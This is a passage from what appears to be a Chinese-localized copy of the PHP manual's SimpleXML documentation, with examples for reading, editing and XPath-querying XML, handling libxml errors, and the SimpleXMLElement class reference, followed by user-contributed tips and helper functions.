/* For each <character> node, we echo a separate <name>. */
foreach ($movies->movie->characters->character as $character) {
echo $character->name, ' played by ', $character->actor, PHP_EOL;
}

?>

以上示例会输出：

Ms. Coder played by Onlivia Actora
Mr. Coder played by El Actór

Note:

Properties ($movies->movie in previous example) are not arrays. They are iterable and accessible objects.

Example #5 Using attributes

So far, we have only covered the work of reading element names and their values. SimpleXML can also access element attributes. Access attributes of an element just as you would elements of an array.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

/* Access the <rating> nodes of the first movie.
* Output the rating scale, too. */
foreach ($movies->movie[0]->rating as $rating) {
switch((string) $rating['type']) { // Get attributes as element indices
case 'thumbs':
echo $rating, ' thumbs up';
break;
case 'stars':
echo $rating, ' stars';
break;
}
}
?>

以上示例会输出：

7 thumbs up5 stars

Example #6 Comparing Elements and Attributes with Text

To compare an element or attribute with a string or pass it into a function that requires a string, you must cast it to a string using (string). Otherwise, PHP treats the element as an object.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

if ((string) $movies->movie->title == 'PHP: Behind the Parser') {
print 'My favorite movie.';
}

echo htmlentities((string) $movies->movie->title);
?>

以上示例会输出：

My favorite movie.PHP: Behind the Parser

Example #7 Comparing Two Elements

Two SimpleXMLElements are considered different even if they point to the same element.

<?php
include 'example.php';

$movies1 = new SimpleXMLElement($xmlstr);
$movies2 = new SimpleXMLElement($xmlstr);
var_dump($movies1 == $movies2);
?>

以上示例会输出：

bool(false)

Example #8 Using XPath

SimpleXML includes built-in XPath support. To find all <character> elements:

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

foreach ($movies->xpath('//character') as $character) {
echo $character->name, ' played by ', $character->actor, PHP_EOL;
}
?>

'//' serves as a wildcard. To specify absolute paths, omit one of the slashes.

以上示例会输出：

Ms. Coder played by Onlivia Actora
Mr. Coder played by El Actór

Example #9 Setting values

Data in SimpleXML doesn't have to be constant. The object allows for manipulation of all of its elements.

<?php
include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$movies->movie[0]->characters->character[0]->name = 'Miss Coder';

echo $movies->asXML();
?>

以上示例会输出：

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Miss Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
</movies>

Example #10 Adding elements and attributes

SimpleXML has had the ability to easily add children and attributes.

<?php
include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$character = $movies->movie[0]->characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movies->movie[0]->addChild('rating', 'PG');
$rating->addAttribute('type', 'mpaa');

echo $movies->asXML();
?>

以上示例会输出：

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  <character><name>Mr. Parser</name><actor>John Doe</actor></character></characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 <rating type="mpaa">PG</rating></movie>
</movies>

Example #11 DOM Interoperability

PHP has a mechanism to convert XML nodes between SimpleXML and DOM formats. This example shows how one might change a DOM element to SimpleXML.

<?php
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
echo 'Error while parsing the document';
exit;
}

$books = simplexml_import_dom($dom);

echo $books->book[0]->title;
?>

以上示例会输出：

blah

User Contributed Notes

Josef 01-Sep-2021 06:54
How to find out if a Node exists:

<?xml version='1.0' standalone='yes'?>
<book>
  <author>Josef</author>
  <isbn></isbn>
</book>

empty($xml->isbn) will be true
isset($xml->isbn) will be true

empty($xml->title) will be true
isset($xml->title) will be false
Anonymous 22-Aug-2017 12:35
If your xml string contains booleans encoded with "0" and "1", you will run into problems when you cast the element directly to bool:

$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<values>
    <truevalue>1</truevalue>
    <falsevalue>0</falsevalue>
</values>
XML;
$values = new SimpleXMLElement($xmlstr);
$truevalue = (bool)$values->truevalue; // true
$falsevalue = (bool)$values->falsevalue; // also true!!!

Instead you need to cast to string or int first:

$truevalue = (bool)(int)$values->truevalue; // true
$falsevalue = (bool)(int)$values->falsevalue; // false
rowan dot collins at gmail dot com 04-Jun-2015 06:58
There is a common "trick" often proposed to convert a SimpleXML object to an array, by running it through json_encode() and then json_decode(). I'd like to explain why this is a bad idea.

Most simply, because the whole point of SimpleXML is to be easier to use and more powerful than a plain array. For instance, you can write <?php $foo->bar->baz['bing'] ?> and it means the same thing as <?php $foo->bar[0]->baz[0]['bing'] ?>, regardless of how many bar or baz elements there are in the XML; and if you write <?php (string)$foo->bar[0]->baz[0] ?> you get all the string content of that node - including CDATA sections - regardless of whether it also has child elements or attributes. You also have access to namespace information, the ability to make simple edits to the XML, and even the ability to "import" into a DOM object, for much more powerful manipulation. All of this is lost by turning the object into an array rather than reading understanding the examples on this page.

Additionally, because it is not designed for this purpose, the conversion to JSON and back will actually lose information in some situations. For instance, any elements or attributes in a namespace will simply be discarded, and any text content will be discarded if an element also has children or attributes. Sometimes, this won't matter, but if you get in the habit of converting everything to arrays, it's going to sting you eventually.

Of course, you could write a smarter conversion, which didn't have these limitations, but at that point, you are getting no value out of SimpleXML at all, and should just use the lower level XML Parser functions, or the XMLReader class, to create your structure. You still won't have the extra convenience functionality of SimpleXML, but that's your loss.
jishcem at gmail dot com 12-Mar-2013 07:31
For me it was easier to use arrays than objects,

So, I used this code,

$xml = simplexml_load_file('xml_file.xml');

$json_string = json_encode($xml);

$result_array = json_decode($json_string, TRUE);

Hope it would help someone
gkokmdam at zonnet dot nl 23-Feb-2011 01:54
A quick tip on xpath queries and default namespaces. It looks like the XML-system behind SimpleXML has the same workings as I believe the XML-system .NET uses: when one needs to address something in the default namespace, one will have to declare the namespace using registerXPathNamespace and then use its prefix to address the otherwise in the default namespace living element.

<?php
$string = <<<XML
<?xml version='1.0'?>
<document xmlns="http://www.w3.org/2005/Atom">
 <title>Forty What?</title>
 <from>Joe</from>
 <to>Jane</to>
 <body>
  I know that's the answer -- but what's the question?
 </body>
</document>
XML;

$xml = simplexml_load_string($string);
$xml->registerXPathNamespace("def", "http://www.w3.org/2005/Atom");

$nodes = $xml->xpath("//def:document/def:title");

?>
kdos 31-Jan-2011 05:32
Using stuff like: is_object($xml->module->admin) to check if there actually is a node called "admin", doesn't seem to work as expected, since simplexml always returns an object- in that case an empty one  - even if a particular node does not exist.
For me good old empty() function seems to work just fine in such cases.

Cheers
Max K. 20-Jun-2010 02:38
From the README file:

SimpleXML is meant to be an easy way to access XML data.

SimpleXML objects follow four basic rules:

1) properties denote element iterators
2) numeric indices denote elements
3) non numeric indices denote attributes
4) string conversion allows to access TEXT data

When iterating properties then the extension always iterates over
all nodes with that element name. Thus method children() must be
called to iterate over subnodes. But also doing the following:
foreach ($obj->node_name as $elem) {
  // do something with $elem
}
always results in iteration of 'node_name' elements. So no further
check is needed to distinguish the number of nodes of that type.

When an elements TEXT data is being accessed through a property
then the result does not include the TEXT data of subelements.

Known issues
============

Due to engine problems it is currently not possible to access
a subelement by index 0: $object->property[0].
ie dot raymond at gmail dot com 01-Apr-2010 03:07
If you need to output valid xml in your response, don't forget to set your header content type to xml in addition to echoing out the result of asXML():

<?php

$xml=simplexml_load_file('...');
...
...xml stuff
...

//output xml in your response:
header('Content-Type: text/xml');
echo $xml->asXML();
?>
php at keith tyler dot com 23-Dec-2009 12:57
[Editor's Note: The SimpleXMLIterator class, however, does implement these methods.]

While SimpleXMLElement claims to be iterable, it does not seem to implement the standard Iterator interface functions like ::next and ::reset properly. Therefore while foreach() works, functions like next(), current(), or each() don't seem to work as you would expect -- the pointer never seems to move or keeps getting reset.
radams at circlepix com 24-Apr-2009 10:52
To test whether an element exists:

<?php

    $xml = <<<EOT
<?xml version='1.0' standalone='yes'?>
<root>
    <test1></test1>
    <test2 />
    <test4> </test4>
</root>
EOT;

    $xmlDoc = new SimpleXMLElement($xml);

echo "Test1: \n";
var_dump($xmlDoc->test1);
echo "\n(" . (bool)$xmlDoc->test1 . ")";
echo "\n\n";

echo "Test2: \n";
var_dump($xmlDoc->test2);
echo "\n(" . (bool)$xmlDoc->test2 . ")";
echo "\n\n";

echo "Test3: \n";
var_dump($xmlDoc->test3);
echo "\n(" . (bool)$xmlDoc->test3 . ")";
echo "\n\n";

echo "Test4: \n";
var_dump($xmlDoc->test4);
echo "\n(" . (bool)$xmlDoc->test4 . ")";
echo "\n\n";

?>

The var_dumps for test1, test2, and test3 are identical, but the (bool) test gives a '1' for test1 and test2, and a '' for test3.


Dealing with XML errors

Dealing with XML errors when loading documents is a very simple task. Using the libxml functionality it is possible to suppress all XML errors when loading the document and then iterate over the errors.

The libXMLError object, returned by libxml_get_errors(), contains several properties including the message, line and column (position) of the error.

Example #1 Loading broken XML string

<?php
libxml_use_internal_errors(true);
$sxe = simplexml_load_string("<?xml version='1.0'><broken><xml></broken>");
if ($sxe === false) {
echo "Failed loading XML\n";
foreach(libxml_get_errors() as $error) {
echo "\t", $error->message;
}
}
?>

以上示例会输出：

Failed loading XML
    Blank needed here
    parsing XML declaration: '?>' expected
    Opening and ending tag mismatch: xml line 1 and broken
    Premature end of data in tag broken line 1

参见

  • libxml_use_internal_errors()
  • libxml_get_errors()
  • libXMLError

User Contributed Notes

1337 at netapp dot com 04-Sep-2015 02:21
If you need to process the content of your broken XML-doc you might find this interesting. It has blown past a few simple corruptions for me.
http://php.net/manual/en/class.domdocument.php#domdocument.props.recover
tuxedobob 11-Sep-2014 09:29
Now that the /e modifier is considered deprecated in preg_replace, you can use a negative lookahead to replace unescaped ampersands with &amp; without throwing warnings:

$str = preg_replace('/&(?!;{6})/', '&amp;', $str);

You probably should have been doing this before /e was deprecated, actually.
openbip at gmail dot com 25-Feb-2010 08:20
Note that "if (! $sxe) {" may give you a false-negative if the XML document was empty (e.g. "<root />").  In that case, $sxe will be:

object(SimpleXMLElement)#1 (0) {
}

which will evaluate to false, even though nothing technically went wrong.

Consider instead: "if ($sxe === false) {"
Jacob Tabak 15-Feb-2010 01:17
If you are trying to load an XML string with some escaped and some unescaped ampersands, you can pre-parse the string to ecsape the unescaped ampersands without modifying the already escaped ones:
<?php
$s = preg_replace('/&[^; ]{0,6}.?/e', "((substr('\\0',-1) == ';') ? '\\0' : '&amp;'.substr('\\0',1))", $s);
?>


The SimpleXMLElement class

(PHP 5, PHP 7, PHP 8)

简介

Represents an element in an XML document.

类摘要

class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* 方法 */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public asXML(?string $filename = null): string|bool
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public count(): int
public current(): SimpleXMLElement
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public getName(): string
public getNamespaces(bool $recursive = false): array
public getChildren(): ?SimpleXMLElement
public hasChildren(): bool
public key(): string
public next(): void
public registerXPathNamespace(string $prefix, string $namespace): bool
public rewind(): void
public __toString(): string
public valid(): bool
public xpath(string $expression): array|null|false
}

更新日志

版本 | 说明
8.0.0 | SimpleXMLElement implements Stringable, Countable, and RecursiveIterator now.

Table of Contents

  • SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element
  • SimpleXMLElement::addChild — Adds a child element to the XML node
  • SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element
  • SimpleXMLElement::attributes — Identifies an element's attributes
  • SimpleXMLElement::children — Finds children of given node
  • SimpleXMLElement::__construct — Creates a new SimpleXMLElement object
  • SimpleXMLElement::count — Counts the children of an element
  • SimpleXMLElement::current — Returns the current element
  • SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document
  • SimpleXMLElement::getName — Gets the name of the XML element
  • SimpleXMLElement::getNamespaces — Returns namespaces used in document
  • SimpleXMLElement::getChildren — Returns the sub-elements of the current element
  • SimpleXMLElement::hasChildren — Checks whether the current element has sub elements
  • SimpleXMLElement::key — Return current key
  • SimpleXMLElement::next — Move to next element
  • SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query
  • SimpleXMLElement::rewind — Rewind to the first element
  • SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML
  • SimpleXMLElement::__toString — Returns the string content
  • SimpleXMLElement::valid — Check whether the current element is valid
  • SimpleXMLElement::xpath — Runs XPath query on XML data

User Contributed Notes

ohcc at 163 dot com 12-Jun-2023 03:28
You can remove SimpleXMLElement nodes using php's unset() language construct.

<?php
    $xml = <<<'EOT'
<users>
    <user>
        <name>orange</name>
        <sex>male</sex>
        <homepage>wuxiancheng.cn</homepage>
    </user>
    <user>
        <name>tangerine</name>
        <sex>male</sex>
        <homepage>51-n.com</homepage>
    </user>
</users>
EOT;
    $sxe = new SimpleXMLElement($xml);
    // This will remove the first user node
    unset($sxe->user[0]);
    // This will remove all user nodes
    unset($sxe->user);
    echo $sxe->asXML();
?>
Patanjali 15-Oct-2020 02:20
Further to rmirabelle's comment, to compare two SimpleXML elements, do the comparison between the objects returned by the dom_import_simplexml function, as per:

<?php
if(dom_import_simplexml($simplexml_element_1)===dom_import_simplexml($simplexml_element_2)){
  ...
 }
?>

You must ensure that both are SimpleXML elements before conversion to DOM objects.
guilhermeasn at yahoo dot com dot br 15-Jan-2020 08:09
Class with a method to transform array or object to XML:

class MakeXML {

    public static function array_obj_to_xml($data, \SimpleXMLElement &$xmlObj) {
        foreach((array) $data as $key => $value) {
            if(is_numeric($key)) {
                $key = "n" . $key;
            }
            if(is_array($value) or is_object($value)) {
                $subnode = $xmlObj->addChild($key);
                self::array_obj_to_xml($value, $subnode);
            } else {
                $xmlObj->addChild($key, htmlspecialchars($value));
            }
        }
    }

}

Example:

$object = new \stdClass();
$object->example = "Try this class";

$objxml = new \SimpleXMLElement('<API/>');
MakeXML::array_obj_to_xml($objxml, $objxml);
echo $objxml->asXML();
Budu 13-May-2018 07:17
public function crearXml(){
        $pruebaXml = <<<XML
<?xml version="1.0" encoding="UTF-8" ?>
<Root></Root>
XML;
$example = new SimpleXMLElement($pruebaXml); //Crea un nuevo objeto SimpleXMLElement
        $example->addAttribute('id', '1');//A?ade un elemento hijo al nodo XML

        while( $nodo = $this->iteraciones->iterate()){
            $nodos = $example->addChild('Nodo');
            $nodos->addAttribute('id',$nodo->getId());
            $acierto = $nodos->addChild('nuevoHijo', $nodo->getX());
        }
        $miFichero = $example->asXML();//Retorna un string XML correcto basado en un elemento SimpleXML
        $miArchivo = fopen("xml/example.xml", "w+");//Abre un fichero o un URL
        fwrite($miArchivo, $miFichero);//Escritura archivo
    }
CameronXie 11-Dec-2017 10:48
Map xml to array (with attributes)

<?php declare(strict_types=1);

/**
 * @param SimpleXMLElement $xml
 * @return array
 */
function xmlToArray(SimpleXMLElement $xml): array
{
    $parser = function (SimpleXMLElement $xml, array $collection = []) use (&$parser) {
        $nodes = $xml->children();
        $attributes = $xml->attributes();

        if (0 !== count($attributes)) {
            foreach ($attributes as $attrName => $attrValue) {
                $collection['attributes'][$attrName] = strval($attrValue);
            }
        }

        if (0 === $nodes->count()) {
            $collection['value'] = strval($xml);
            return $collection;
        }

        foreach ($nodes as $nodeName => $nodeValue) {
            if (count($nodeValue->xpath('../' . $nodeName)) < 2) {
                $collection[$nodeName] = $parser($nodeValue);
                continue;
            }

            $collection[$nodeName][] = $parser($nodeValue);
        }

        return $collection;
    };

    return [
        $xml->getName() => $parser($xml)
    ];
}
kurtbr at gmail dot com 31-May-2017 02:58
Here is a helper class to convert a PHP array to XML
You would call it doing the following:

<?php
$xml = new Xml();
$xml-> generateXmlFromArray($array, 'entities', 'entity');
?>

<?php
class Xml
{
    public function getXmlFromArray($value, \SimpleXMLElement &$xmlElement, $entity, $starting = null)
    {

        $handleValue = function($value){
            if(is_string($value)){
                $value = htmlspecialchars($value);
            }
            return $value;
        };
        $addChild = function($name, $value, &$subNode = null)use(&$xmlElement, $handleValue, $entity){
            if(is_array($value)){
                if(!$subNode instanceof \SimpleXMLElement){
                    $currentKey = key($value);
                    $initialValue = null;
                    if(is_numeric($currentKey)){
                        if(!is_array($value[$currentKey])){
                            $initialValue = $value[$currentKey];
                            unset($value[$currentKey]);
                        }
                    }
                    $subNode = $xmlElement->addChild($name, $initialValue);
                }
                $this->getXmlFromArray($handleValue($value), $subNode, $name);
            } else {
                $xmlElement->addChild($name, $handleValue($value));
            }
        };

        if(is_array($value))
        {
            if(is_numeric(key($value))){
                $setSubNodePrimitiveValue = function($value)use(&$xmlElement, $entity, $handleValue){
                    $value = $handleValue($value);
                    $children = $xmlElement->children();
                    $children[] = $value;
                };
                foreach ($value as $item)
                {
                    if(!is_array($item)){
                        $setSubNodePrimitiveValue($item);
                    } else {
                        if($starting === true){
                            $addChild($entity, $item);
                        } else {
                            $addChild($entity, $item, $xmlElement);
                        }
                    }
                }
            } else {
                foreach ($value as $subEntity => $subEntityItem)
                {
                    $addChild($subEntity, $subEntityItem);
                }
            }
        } else {
            $xmlElement->addChild($entity, $handleValue($value));
        }
    }

    /**
     * @param array $array
     * @param string $openingTag
     * @param string $entity
     * @param string $nameSpace
     * @param bool $isPrefixed
     * @return \SimpleXMLElement
     */
    public function generateXmlFromArray(array $array, string $openingTag, string $entity, $nameSpace = '', $isPrefixed = false)
    {
        $xmlString = '<'.$openingTag.'></'.$openingTag.'>';
        $xml = new \SimpleXMLElement($xmlString, LIBXML_NOERROR, false, $nameSpace, $isPrefixed);
        $this->getXmlFromArray($array, $xml, $entity, true);
        return $xml;
    }

    /**
     * @param string $xml
     * @return bool
     */
    public function validateXml(string $xml)
    {
        $dom = new \DOMDocument();
        $dom->loadXML($xml);
        return $dom->validate();
    }

    public function loadXmlPathAsArray(string $xmlPath)
    {
        $xml   = simplexml_load_file($xmlPath);
        $array = json_decode(json_encode($xml), TRUE);
        return (array)$array;
    }

    /**
     * @param string $xmlString
     * @return array
     */
    public function loadXmlStringAsArray(string $xmlString)
    {
        $array = (array) @simplexml_load_string($xmlString);
        if(!$array){
            $array = (array) @json_decode($xmlString, true);
        } else{
            $array = (array)@json_decode(json_encode($array), true);
        }
        return $array;
    }

    /**
     * @param string $xmlString
     * @return \SimpleXMLElement
     */
    public function loadXmlString(string $xmlString)
    {
        return @simplexml_load_string($xmlString);
    }
}
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:54
See previous two parts to get better understanding of how these tricks works. Example shown here refers to part two. (Sorry, length limitation)

3. Tricks
<?php
        // The real profit is in combination of property and array accesses and unset($someNode->{0}) trick -
        // it allows you to remove whatever node you want:
        unset($rootNode->{'div'}[2]);   // remove node with * mark (text*)

        // Another trick is removing child node using child node object
        $newChildNode = $rootNode->addChild('div','text**');    // Create
        unset($newChildNode->{0});      // Remove, node removed from parent object too!

        echo "--2--\n".$rootNode->asXML();
        /*
        <xml_root>complex node
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
                <div>text</div>
                <div>text</div>
                <div>text</div>
        </xml_root>
        */
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:48
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

2. How child nodes works (understanding)
<?php
        echo "Exercise 2 \n";

        $rootNode = new SimpleXMLElement('<xml_root>complex node</xml_root>');  // Create root node
        $childNode1 = $rootNode->addChild('type_one','node 1');                 // Create child node 1 with name 'type_one'
        $childNode2 = new SimpleXMLElement('<type_one>node 2</type_one>');      // Create child node 2 with name 'type_one'
        $childNode3 = new SimpleXMLElement('<type_two>node 3</type_two>');      // Create child node 3 with name 'type_two' (different!)
        // Now $rootNode has only one children because other child nodes was created separately
        // Lets paste child node to root node
        echo $childNode1;

        $rootNode->{'type_one'} = $childNode2;      // Note that the property name is 'type_one'
        $rootNode->{'type_two'} = $childNode3;      // Note that the property name is 'type_two'
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            string(6) "node 2"
            ["type_two"]=>
            string(6) "node 3"
        }
        */
        // We see that "node 1" disappeared, that's because assigning one node to some property of another in not a magic.
        // To be clear, the real calls looks like:
        $rootNode->{'type_one'}[0] = (string) $childNode2;
        $rootNode->{'type_two'}[0] = (string) $childNode3;
        // Explanation:
        // A: (string)
        // It means that you can't assign node itself, only its string representation because assigned node will be casted to string anyway.
        // It also means that tag name of assigned node doesn't matter - its name will be whatever name you specified in {} braces.
        // B: [0]
        // The array access operator ([0]) means that each tag name (type_one and type_two) has its own collection with integer indexes.
        // If you want to add another tag with same name, you should increment index:
        $rootNode->{'type_one'}[1] = $childNode2;
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(6) "node 2"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 1. The value of $childNode1 has been changed to "node 1" - that's because the child node, returned from addChild() method
        // is referenced with parent node. If you change its content in one side - it changes in other side too:
        $childNode1->{0} = 'renewed node 1';
        // But it won't happen with $childNode2 - it is single and has no reference with parent node:
        $childNode2->{0} = 'renewed node 2';
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(14) "renewed node 1"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 2. When you added child nodes, the parent node's string content is still alive, var_dump doesn't show it,
        // but you can see through echoing XML:
        echo "--1--\n".$rootNode->asXML();
        /*
        <xml_root>complex node <--------- here!
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
        </xml_root>
        */
        // See 'complex node'? Bad news that you can't change string content anymore, if we try to call `$rootNode->{0} = 'something'` -
        // it overrides all content - both string and child nodes! I don't know how to write to string content only in that case.
        // But still you can read string content and remove entire node as described above.

        // So the following statements gives same result, except $result variable value:
        $someNode = new SimpleXMLElement('<div>text</div>');
        $result = $rootNode->addChild('div','text');                    // $result is SimpleXMLElement
        $result = $rootNode->addChild($someNode->getName(),$someNode);  // $result is SimpleXMLElement
        $result = $rootNode->{'div'}[] = 'text*';                       // $result is string 'text*'
        $result = $rootNode->{$someNode->getName()}[] = $someNode;      // $result is string 'text'
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:45
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

1. How to work with single node and its value (basics)
<?php
        echo "Exercise 1 \n";
        // Create
        $someNode = new SimpleXMLElement('<xml_root>simple node</xml_root>');
        // Read
        echo $someNode->{0} ."\n";      // Echoes "simple node"
        echo $someNode ."\n";           // Echoes "simple node", might be used for read case too
        // Edit
        $someNode->{0} = 'new value';
        echo $someNode->{0} ."\n";      // Echoes "new value", value is changed!
        // Remove
        unset($someNode->{0});

        // Don't touch this node anymore otherwise it will throw a warning:
        // "Warning:  SimpleXMLElement::asXML(): Node no longer exists in <...> on line <...>"
        // echo $someNode ."\n";      // Throws the warning

        // Recap: property access to zero property ($someNode->{0}) is the way to read and edit string content of the node AND
        // to remove the node itself
?>
frame at dynamiccreated dot de 14-Jun-2013 01:36
Important note I miss here in the documentation:

SimpleXML supports Array/Iteration-Methods. Therefore it is possible to

add attributes
edit attributes
remove attributes

add nodes
edit nodes
remove nodes

This is the reason why SimpleXML provides only add-methods not deleting- or editing-methods. We also need this methods because SimpleXML acts as a normal class and
new member will not converted to a new node.

Deleting a node seems not to be possible within a foreach-loop. The reason is simple. To do that we need a valid key, but the Iterator only gives us a "understandable feedback" on which node we are working on: the tag name.

So this will not work:

<?php
foreach($doc->seg as $key => $seg)
{
    if((string)$seg['id'] === 'whatever')
    {
        unset($seg); // only clears local copy
        unset($seg[$key]); // wrong index "seg"
    }
}
?>

But this, eg. will work:
<?php
unset($doc->seg[2]);
?>

In case of doubt always do a print_r/var_dump(). It nicely shows the real linked indexes.
Yukull 15-Feb-2013 01:59
xml to object conversion function :
<?php
/**
    @param:
        $xml: SimpleXMLElement
        $force: set to true to always create 'text', 'attribute', and 'children' even if empty
    @return
        object with attributs:
            (string) name: XML tag name
            (string) text: text content of the attribut name
            (array) attributes: array witch keys are attribute key and values are attribute value
            (array) children: array of objects made with xml2obj() on each child
**/
function xml2obj($xml,$force = false){

    $obj = new StdClass();

    $obj->name = $xml->getName();

    $text = trim((string)$xml);
    $attributes = array();
    $children = array();

    foreach($xml->attributes() as $k => $v){
        $attributes[$k]  = (string)$v;
    }

    foreach($xml->children() as $k => $v){
        $children[] = xml2obj($v,$force);
    }

    if($force or $text !== '')
        $obj->text = $text;

    if($force or count($attributes) > 0)
        $obj->attributes = $attributes;

    if($force or count($children) > 0)
        $obj->children = $children;

    return $obj;
}
?>
heaver 31-May-2012 07:33
XML to JSON conversion without '@attributes'
<?php
function XML2JSON($xml) {

        function normalizeSimpleXML($obj, &$result) {
            $data = $obj;
            if (is_object($data)) {
                $data = get_object_vars($data);
            }
            if (is_array($data)) {
                foreach ($data as $key => $value) {
                    $res = null;
                    normalizeSimpleXML($value, $res);
                    if (($key == '@attributes') && ($key)) {
                        $result = $res;
                    } else {
                        $result[$key] = $res;
                    }
                }
            } else {
                $result = $data;
            }
        }
        normalizeSimpleXML(simplexml_load_string($xml), $result);
        return json_encode($result);
    }
?>
demian dot katz at villanova dot edu 29-Mar-2012 05:50
Here is a more namespace-aware version of the earlier function for attaching one SimpleXMLElement to another.  I'm sure it could still be further improved (right now it generates some redundant xmlns definitions), but it seems to be working well enough for my purposes so far.

function SimpleXMLElement_append($parent, $child)
{
    // get all namespaces for document
    $namespaces = $child->getNamespaces(true);

    // check if there is a default namespace for the current node
    $currentNs = $child->getNamespaces();
    $defaultNs = count($currentNs) > 0 ? current($currentNs) : null;
    $prefix = (count($currentNs) > 0) ? current(array_keys($currentNs)) : '';
    $childName = strlen($prefix) > 1
        ? $prefix . ':' . $child->getName() : $child->getName();

    // check if the value is string value / data
    if (trim((string) $child) == '') {
        $element = $parent->addChild($childName, null, $defaultNs);
    } else {
        $element = $parent->addChild(
            $childName, htmlspecialchars((string)$child), $defaultNs
        );
    }

    foreach ($child->attributes() as $attKey => $attValue) {
        $element->addAttribute($attKey, $attValue);
    }
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->attributes($nsurl) as $attKey => $attValue) {
            $element->addAttribute($nskey . ':' . $attKey, $attValue, $nsurl);
        }
    }

    // add children -- try with namespaces first, but default to all children
    // if no namespaced children are found.
    $children = 0;
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->children($nsurl) as $currChild) {
            SimpleXMLElement_append($element, $currChild);
            $children++;
        }
    }
    if ($children == 0) {
        foreach ($child->children() as $currChild) {
            SimpleXMLElement_append($element, $currChild);
        }
    }
}
saganmarketing.com 12-Mar-2012 12:27
Parsing an invalid XML string through SimpleXML causes the script to crash completely (usually) therefore it is best to make sure the XML is valid before parsing with something like this:

// Must be tested with ===, as in if(isXML($xml) === true){}
// Returns the error message on improper XML
function isXML($xml){
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();

    if(empty($errors)){
        return true;
    }

    $error = $errors[0];
    if($error->level < 3){
        return true;
    }

    $explodedxml = explode("r", $xml);
    $badxml = $explodedxml[($error->line)-1];

    $message = $error->message . ' at line ' . $error->line . '. Bad XML: ' . htmlentities($badxml);
    return $message;
}
Anonymous 14-Nov-2011 12:34
Warning to anyone trying to parse XML with a key name that includes a hyphen ie.)
<subscribe>
    <callback-url>example url</callback-url>
</subscribe>

In order to access the callback-url you will need to do something like the following:
<?php
$xml = simplexml_load_string($input);
$callback = $xml->{"callback-url"};
?>
If you attempt to do it without the curly braces and quotes you will find out that you are returned a 0 instead of what you want.
juanfhj at gmail dot spam dot me dot not dot com 13-Aug-2011 11:01
To access the underlying element as a string, it's necessary to make the cast $x = (string)$my_xml_element.
dans at dansheps dot com 22-Apr-2011 12:06
I created a little function to parse the simple XML into a structure which is easier to iterate(I believe anyways) than the simpleXML node structure.

<?php
function parseSimpleXML($xmldata)
    {
        $childNames = array();
        $children = array();

        if( $xmldata->count() !== 0 )
        {
            foreach( $xmldata->children() AS $child )
            {
                $name = $child->getName();

                if( !isset($childNames[$name]) )
                {
                    $childNames[$name] = 0;
                }

                $childNames[$name]++;
                $children[$name][] = $this->parseSimpleXML($child);
            }
        }

        $returndata = new XMLNode();
        if( $xmldata->attributes()->count() > 0 )
        {
            $returndata->{'@attributes'} = new XMLAttribute();
            foreach( $xmldata->attributes() AS $name => $attrib )
            {
                $returndata->{'@attributes'}->{$name} = (string)$attrib;
